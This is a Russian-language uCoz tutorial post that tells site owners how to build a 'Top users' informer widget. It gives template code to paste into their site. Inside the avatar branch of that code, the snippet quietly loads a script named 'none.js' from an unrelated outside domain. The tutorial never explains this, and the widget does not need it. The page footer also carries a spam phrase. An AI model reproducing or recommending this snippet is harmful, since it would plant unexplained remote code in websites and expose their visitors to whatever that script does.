Кабинет
Гость

Сообщения:

Группа:
Гости
Время:14:21
Логин:
Пароль:

 

Красивый информер "Топ пользователей" для ucoz



Зайдя на один сайт увидел красивый информер - Топ аплоадеров (пользователей)
Решил добавить его в паблик, особенность информера в том,
Что при наведении на иконки выдвигается небольшая информация о количестве файлов и т.д.

Установка:
1)Создаем информер
Кто не знает где это вот ссылка: http://адрес_вашего_сайта/panel/?a=informers

Информер с такими параметрами:

Название информера - Топ пользователей
Раздел - Пользователи
Способ сортировки - Количество файлов
Количество материалов - 4
Количество колонок - 2
Создать

Должен появится новый информер - и рядом с ним код вызова
Например $MYINF_1$ - у вас может быть другой

2)После этого меняем дизайн информера
Заходим в управление дизайном созданного информера
И заменяем весь код на этот:

Код
</div></div></div>
</div>

<a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">
<?if($AVATAR_URL$)?><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><img src="$AVATAR_URL$" title="Перейти в профиль" id="topusers"><?else?>
<img src="http://ili.pp.ua/img/no.png" id="topusers">
<?endif?></a>

<div class="chat-addtime" style="float:none; width:87px; margin-top:1px;">
<span style="display:block; text-align:center;">
<a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">

<?if(len($USERNAME$)>11)?>
<?substr($USERNAME$,0,11)?>
<?else?>
$USERNAME$
<?endif?>
</a>
</span>
</div>
</center>
<script type="text/javascript"> $('.place$NUMBER$').hover( function () {$(this).stop().animate({"width" : $('.place1 #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.torrents').hover( function () {$(this).stop().animate({"width" : $('.torrents #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.comments').hover( function () {$(this).stop().animate({"width" : $('.comments #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); </script>


Теперь создаём новый блок (например через конструктор)
И называем его например "Топ пользователей"
В html код блока вставляем:

Код
$MYINF_1$
<link type="text/css" rel="StyleSheet" href="http://ili.pp.ua/js_css/cssuser.css">


$MYINF_1$ - меняем на свой (если у вас другой)

Готово..
Думаю, что всё понятно разъяснил

 Добавлено:  12.10.2012, 07:29 | Добавил: Aninew | Теги:
Просмотров: 319  | Комментарии: 0 | Рейтинг: 0.0/0
Популярные файлы
Новый Топ пользователей с а...[ Просмотров 1265 ]
Кнопка "Регистрация&qu...[ Просмотров 965 ]
Информер - лучшие пользоват...[ Просмотров 930 ]
Информер последних коммента...[ Просмотров 901 ]
Еще один вид опросов[ Просмотров 893 ]
Блок нужные программы[ Просмотров 875 ]
Просилка регистрации для uc...[ Просмотров 832 ]
Быстрый «Заказ фильмов»[ Просмотров 826 ]
Скрипт статистика сайта для...[ Просмотров 817 ]
Новый вид статистики пользо...[ Просмотров 794 ]
Новые файлы
Создаём раздвижную форму по...[ Добавлен 11.08.2013 ]
Новое меню от Diz-cs[ Добавлен 11.08.2013 ]
SMS Бесплатно![ Добавлен 11.08.2013 ]
Мини-профиль для ucoz[ Добавлен 09.08.2013 ]
Вместительная статистика uc...[ Добавлен 09.08.2013 ]
Боковое Меню Цветное и серо...[ Добавлен 25.07.2013 ]
Скрипт "Наша кнопка&qu...[ Добавлен 25.07.2013 ]
Движущиеся блок "друзь...[ Добавлен 25.07.2013 ]
Темный мини профиль для Uco...[ Добавлен 24.07.2013 ]
Последние комментарии как н...[ Добавлен 24.07.2013 ]

...

Статистика






Besucherzahler male order brides russia
счетчик посещений



Яндекс цитирования